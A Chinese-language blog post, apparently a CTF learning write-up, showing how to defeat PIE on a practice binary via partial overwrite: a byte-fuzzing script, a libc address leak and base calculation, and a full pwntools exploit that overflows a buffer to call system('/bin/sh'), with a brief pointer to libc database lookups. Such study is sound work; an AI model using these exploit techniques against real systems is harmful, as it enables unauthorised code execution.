前言
这篇继续学习PIE bypass
和通过libcdatabase
查找libc库。
DEMO1
在上一篇文章中采用了爆破程序中的某个函数(如send)的地址,通过判断是否有信息返回作为判断依据,但这个前提是使用了fork
进程,因为这样每次的地址才不会变。
而在这个例子中,服务端并没有采用fork
,我们每次请求的地址都不一样,所以就不能像上一道题的爆破做法。先看看程序代码:
漏洞产生在
read_msg(0, &s, 128, 10)
,前面的
read_msg
并不会溢出。
checksec
如下:
canary
是没开的。这里采用的手法也跟前面相似,还是要利用partial overwrite
,是程序产生crash
,然后我们从输出的数据中发现有价值的信息。一样的因为pie
的原因,我们只能操作最低一个字节,可以先写个程序爆破一波,并观察crash
。脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| def fuzz(): for a in range(1,256): p = process('./pieagain') p.recvline() payload = 'A' * 4 p.sendline(payload) p.recvline() p.recvline() payload = 'A' * 4 * 11 + chr(a) p.sendline(payload) try: p.recvline() print "======================ok------------" + hex(a) except: pass p.close()
|
然后可能在几个地方得到crash
,然后对这些产生地方的地址进行筛选,挑选合适的点。这里我得到了\x83
、\xde
等等。。。
接着对crash
出来的数据进行分析:
可以看到这里泄露了
libc
的地址,但不是基地址,离基地址有这
0xf76f3000 - 0xf7541000 = 0x1b2000
,而这个差距每次都是固定的,通过
readelf -S
可以看到这是
.got.plt
偏移地址。
这里是我本地的偏移地址,我们再打远程时一定
要换成远程libc的偏移地址。
有了libc基地址后就可以写exp了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
|
from pwn import * context(log_level = 'debug', arch = 'i386', os = 'linux')
ip = '192.168.10.11'
p = process('./pieagain') pelf = ELF('./pieagain') libc = ELF('./libc.so.local')
p.recvline() payload = 'A' * 4 p.sendline(payload)
p.recvline() p.recvline() pause() payload = 'A' * 4 * 11 + '\xde' p.sendline(payload) data = p.recv() libc_base_addr = u32('\x00'+data[9:12]) - 0x1b2000 log.debug("libc_base_addr =======> " + hex(libc_base_addr))
libc.address = libc_base_addr system_addr = libc.symbols['system'] log.debug("system_addr: " + hex(system_addr)) binsh = next(libc.search('/bin/sh')) log.debug("binsh_addr: " + hex(binsh))
payload = 'B' * 4 * 11 + p32(system_addr) + p32(system_addr) + p32(binsh) pause() log.debug("ready to call system...") p.sendline(payload) def fuzz(): pass
p.interactive()
|
DEMO2
但我们没有libc时我们可以通过泄露两个libc
函数的地址,然后取最后三位,因为基址的后三位为0,然后取libcdatabase
查询,可以点击这里。